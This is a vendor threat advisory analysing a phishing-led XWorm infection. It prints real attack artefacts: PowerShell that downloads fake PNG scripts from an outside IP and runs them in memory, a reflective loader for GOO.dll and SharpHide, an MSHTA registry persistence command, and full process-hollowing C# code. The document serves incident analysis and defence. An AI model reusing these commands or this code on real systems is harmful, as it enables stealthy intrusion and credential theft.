Threat Advisory: Obfuscation and process hollowing with GOO and XWorm

Threat Advisory: Obfuscation and process hollowing with GOO and XWorm

Four days before Christmas, the Talanos MDR team detected and responded to a customer incident that involved multiple techniques across the attack-chain to gain initial access, access credentials, connect to a Command and Control and exfil - using the XWorm remote access trojan.

Whilst the XWorm malware is fairly well-known, the attack-chain was interesting, involving multiple steps that required various scripting tools and process hollowing of well-known Windows binaries - also known as living of the land techniques.

XWorm Capabilities Observed

XWorm is feature-rich, commodity malware available on the dark web. A "Swiss Army Knife" malware strain, XWorm can perform clipper, DDoS, and ransomware operations. During this incident, the following capabilities of XWorm were observed:

  • Detection of anti-virus, operating system, attached screens, firewall
  • Persistence to Windows Registry
  • Recon of domain, local users and groups
  • Performing screengrabs and reading clipboard data
  • Stealing browser passwords and web data (MS-Edge and Chrome)
  • Modification of browser error and warning pages
  • Encrypted C2 communication

In addition to XWorm communicating with its C2 directly, data was exfiltrated using multiple instances of Chrome, spawned to a hidden desktop. The XWorm executable is obfuscated with ConfuserEx and then packed, containing anti-debugging measures to hinder analysis.

The Attack-Chain

Certainly the most interesting part of the incident was the multi-stage process used to deploy XWorm on the victim's machine, using obfuscation, process hollowing and fileless malware.

Step 1 - Spear-phishing Mail (Initial Access)

A highly targeted phishing email was sent to the finance department but being a few days before Christmas, one of the team had their out-of-office responder on which identified a colleague to be contacted in their absence. The threat actor quickly pivoted to send a mail directly to the on-duty staff member.

The staff member clicked a link in the phishing email and was directed to:

hxxps[://]unionpakgroup[.]com/ch/?her=XXX&t=XXX&els=XXX&ous=XXX&det=XXX&viz1bbt67=XXX

this sent the staff member onto a spoofed UK Companies House web page presenting a download link:

hxxps[://]www[.]gov[.]uk[.]companies-house[.]commerce-moment[.]top

The staff member download the file, a zip file containing a js file (masquerading as a PDF file), extracted it and double-clicked the file.

XXXX-DEC2024-XXXXXX-Submission.pdf.js

Step 2 - Obfuscated JavaScript File (Execution)

The .JS file was filled with pages and pages of commented out text mixed with executable script.

The script was obfuscated and used the repeated shuffling of arrays to hide the payloads and make static analysis more difficult. The hidden payload contained two further scripts that were themselves obfuscated using transforms to hide their final payload.

Script 1:

Script 2:

The second level of deobfuscation and transformation has been rewritten in python to reveal its workings:

The two decoded strings thus revealed the final payload which were executed by the original script to spawn Windows PowerShell commands:

Final payload (but still obfuscated):

WScript.Shellpowershell
http://85.209.11.15/q/9.pnghttp://85.209.11.15/q/45.png
$c1='##(N##ew-O###bje###ct N###et.W###e';
$c4='b##Cl####iI`E`X $TC|I`E`X'')';
$TC=($c1,$c4,$c3 -Join '');
e##nt##).###D###ow#nl##o##';
$c3='a##dSt####ri#####n###g(''$TC=$TC.replace('#','');
Run

Cleaned up payload:

$webClient = New-Object Net.WebClient
$script1 = $webClient.DownloadString('http://85.209.11.15/q/9.png')
$script2 = $webClient.DownloadString('http://85.209.11.15/q/45.png')
$fullScript = $script1 + $script2
Invoke-Expression $fullScript

As you can guess, the png files downloaded are not images but rather more script that is invoked with the IEX shortcut which executes the downloaded script in memory - welcome fileless malware.

Step 3 - 9.png AKA GOO.dll and SharpHide (Persistence)

The "image" file is actually more slightly obfuscated and base64 encoded script:

ipconfig /flushdns
$t0='AZAZAZIEX'.replace('AZAZAZ','');
sal GG $t0;
$OE="qQA...." # Base64 encoded GOO.dll
$iy="qQA...." # Base64 encoded SharpHide
$ytr="SSDTSSDVSSD".replace('SSD',''); # $ytr = "TV"
$iu=$ytr+$iy; # Add TV in front of base64 binary
$obj =@($iu);
$iu2=$ytr+$OE; # Add TV in front of base64 binary
$obj2 =@($iu2);
$SSD=[system.Convert].GetMethod("FromBase64String")
$hgh=$SSD.Invoke($null,$obj) # Load GOO.dll
$hgh2=$SSD.Invoke($null,$obj2) # Load SharpHide
$YOO=[object[]] ('C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe',$hgh)
[Reflection.Assembly]::Load($hgh2).GetType('R2').GetMethod('Run').Invoke($null,$YOO)
Set-Clipboard -Value " ";
exit;

Once decoded from Base64, SharpHide and GOO are loaded into memory and the static method "Run" is executed on the R2 type within GOO.dll. The standard Windows executable RegSvcs.exe and SharpHide are passed into the method as parameters to the execution.

SharpHide (https://github.com/outflanknl/SharpHide):

From the SharpHide website:

Just a nice persistence trick to confuse DFIR investigation. Uses NtSetValueKey native API to create a hidden (null terminated) registry key. This works by adding a null byte in front of the UNICODE_STRING key value name. The tool uses the following registry path in which it creates the hidden run key: (HKCU if user, else HKLM) \SOFTWARE\Microsoft\Windows\CurrentVersion\Run

You'll notice that SharpHide was compiled on a (and not necessarily our) threat actor's machine at the path: C:\Users\CODE\Desktop\SharpHide-master-копия\SharpHide-master - копия meaning "copy" in Russian. The fake images were also hosted on a Russian IP address. Make of that what you will... The tool is used by GOO.dll to do what it says on the tin and help the malware maintain persistence where the following is inserted into the Windows registry:

MSHTA VBSCRIPT:CLOSE(CREATEOBJECT("WSCRIPT.SHELL").RUN("POWERSHELL $C1='(NEW-OBJECT NET.WE'; $C4='BCLIENT).DOWNLO'; $C3='ADSTRING(''HTTP://85.209.11.15/Q/45.PNG'')';$TC=I`E`X ($C1,$C4,$C3 -JOIN '')|I`E`X",0))

GOO.dll:

Although highly obfuscated with ConfuserEx (https://mkaring.github.io/ConfuserEx), enough elements of the compiled .NET binary can be reversed to determine it's function.

GOO is a malware dropper that uses the process hollowing technique to abuse the standard Windows executable RegSvcs.exe. Essentially, the Windows binary is loaded in a suspended state and the memory belonging to the process is overwritten with malicious code and then unsuspended. The malware code is then executed as though it were the standard Windows process. More info on this technique can be found here:

The deobfuscated and reversed main "Run" method used to perform the process hollowing is listed here:

public static void Run(string targetProcessPath, byte[] payload) {
    for (int i = 0; i < 5; i++)   {
        int bytesRead = 0;
        ProcessInfo processInfo = default(ProcessInfo);
        processInfo.processHandle = GetProcessHandle(CreateSuspendedProcess(targetProcessPath));
        ProcessInfo newProcessInfo = processInfo;
        MemoryAllocation memoryAllocation = default(MemoryAllocation);
        
        try  {
            // Create a suspended process
            if (!CreateProcess(targetProcessPath, "", IntPtr.Zero, IntPtr.Zero, false, 134217732u, IntPtr.Zero, null, ref processInfo, ref memoryAllocation))  {
                throw GetLastErrorException(); }
            
            // Get PE header offset and entry point
            int peHeaderOffset = GetIntFromPayload(payload, 60);
            int entryPointRVA = GetIntFromPayload(payload, peHeaderOffset + 52);
            
            int[] processAttributes = new int[179];
            processAttributes[0] = 65538;
            
            if (GetSystemArchitecture() != 4)  {
                if (!GetThreadContext(memoryAllocation.threadHandle, processAttributes)) {
                    throw GetLastErrorException();  }  }
            else if (!GetThreadContext64(memoryAllocation.threadHandle, processAttributes))  {
                throw GetLastErrorException();  }
            
            int imageBaseAddress = processAttributes[41];
            int currentEntryPoint = 0;
            
            if (ReadProcessMemory(memoryAllocation.processHandle, imageBaseAddress + 8, ref currentEntryPoint, 4, ref bytesRead))  {
                if (entryPointRVA == currentEntryPoint && ValidateExecutable(memoryAllocation.processHandle, currentEntryPoint) != 0)  {
                    throw GetLastErrorException();  }
                
                int imageSize = GetIntFromPayload(payload, peHeaderOffset + 80);
                int headersSize = GetIntFromPayload(payload, peHeaderOffset + 84);
                
                // Allocate memory in remote process
                int allocatedMemory = VirtualAllocEx(memoryAllocation.processHandle, entryPointRVA, imageSize, 12288, 64);
                if (allocatedMemory == 0) {
                    throw GetLastErrorException();  }
                
                // Write payload to allocated memory
                if (!WriteProcessMemory(memoryAllocation.processHandle, allocatedMemory, payload, headersSize, ref bytesRead))  {
                    throw GetLastErrorException();  }
                
                // Write PE sections
                int sectionIndex = 0;
                int sectionHeaderOffset = peHeaderOffset + 248;
                
                while (sectionIndex < GetShortFromPayload(payload, peHeaderOffset + 6)) {
                    int virtualAddress = GetIntFromPayload(payload, sectionHeaderOffset + 12);
                    int rawSize = GetIntFromPayload(payload, sectionHeaderOffset + 16);
                    int rawOffset = GetIntFromPayload(payload, sectionHeaderOffset + 20);
                    
                    if (rawSize != 0) {
                        byte[] sectionData = new byte[rawSize];
                        CopyMemory(payload, rawOffset, sectionData, 0, sectionData.Length);
                        
                        if (!WriteProcessMemory(memoryAllocation.processHandle, allocatedMemory + virtualAddress, sectionData, sectionData.Length, ref bytesRead))                      {
                            throw GetLastErrorException();  }   }
                    
                    sectionHeaderOffset += 40;
                    sectionIndex++;   }
                
                // Update entry point and resume thread
                if (WriteProcessMemory(memoryAllocation.processHandle, imageBaseAddress + 8, BitConverter.GetBytes(allocatedMemory), 4, ref bytesRead))  {
                    processAttributes[44] = allocatedMemory + GetIntFromPayload(payload, peHeaderOffset + 40);
                    
                    if (GetSystemArchitecture() != 4)  {
                        if (!SetThreadContext(memoryAllocation.threadHandle, processAttributes))  {
                            throw GetLastErrorException();   }   }
                    else if (!SetThreadContext64(memoryAllocation.threadHandle, processAttributes))  {
                        throw GetLastErrorException();  }
                    
                    if (ResumeThread(memoryAllocation.threadHandle) == -1)  {
                        throw GetLastErrorException();  }
                    break;  }
                throw GetLastErrorException();  }
            throw GetLastErrorException();  }
        catch  {
            TerminateProcess(memoryAllocation.processId);  }   }   }

The dropper also risked a few more suspicious functions before completing the persistence stage including:

  • Reading the computer name
  • Checking the computer language (typical of a certain type of threat actor but again, make of that what you will)

Step 4 - 45.png AKA GOO.dll and XWorm (C2, Credential Access and Discovery)

The earlier Powershell script then moved onto the more dangerous stages of the attack-chain risking discovery. The 45.png "image" contained script with the base64 encoded GOO.dll and XWorm.exe binaries which were once again loaded through the abuse of RegSvcs.exe.

Interestingly though, although Microsoft Defender detected the malware (based on the behaviour of the executable) and created several alerts, it was not able to prevent or kill the malware. 

Upon executing, XWorm called home and passed some encrypted data to:

hxxps[://]bradentondentalemergency[.]com

Shortly after, the threat actor connected to XWorm from their C2 IP, hosted in Russia (hmmmfph, trying hard here...)

176.113.115.177

The actor was then observed using the various functions of XWorm to perform credential access and discovery before the connection was severed by the incident response team. User credential data and the results of discovery scans were exfiltrated through spawning multiple instances of Chrome on a hidden screen/desktop and the entire attack-chain was executed within a mere 15 minutes, showing the high level of automation and speed with which an attack can occur.

Summary

This attack demonstrated a highly sophisticated use of scripting and obfuscation to evade detection, combining fileless malware, process injection, and abuse of standard Windows utilities. Security teams must focus on behavioural detection, PowerShell activity monitoring and implement a high level of response automation to combat such threats. The attack also highlights the importance of increased vigilance before and during holidays where people may have their guard down.

1. Advanced Obfuscation & Multi-Stage Execution
  • The attack started with an obfuscated JavaScript file that employed heavy array shuffling and transformation to conceal its payload.
  • Payloads were split across multiple layers, downloaded dynamically and executed in-memory, making static analysis difficult.
2. Fileless Malware & Living-off-the-Land Techniques
  • Scripts leveraged PowerShell (Invoke-Expression) to execute additional obfuscated payloads masquerading as fake image files.
  • This approach ensured that the malware operated without writing traditional executable files to disk, reducing detection risks.
3. Abuse of Legitimate Windows Binaries
  • The attacker used RegSvcs.exe (a trusted Windows binary) for process hollowing, injecting malicious code into memory.
  • SharpHide, a known persistence tool, exploited Windows registry keys.
4. Use of Commodity Malware with Strong Evasion Techniques
  • XWorm is a highly capable RAT, itself was obfuscated with ConfuserEx and packed with anti-debugging measures.
  • It leveraged encrypted C2 communications and multiple persistence methods, including hidden registry keys.

Speak with an Expert


Talanos are a specialist provider of managed cybersecurity services. Our experienced team come highly rated on Gartner Peer Reviews.

Book a consultation with an expert to explore how we can help you address the threats that put your organisation at risk.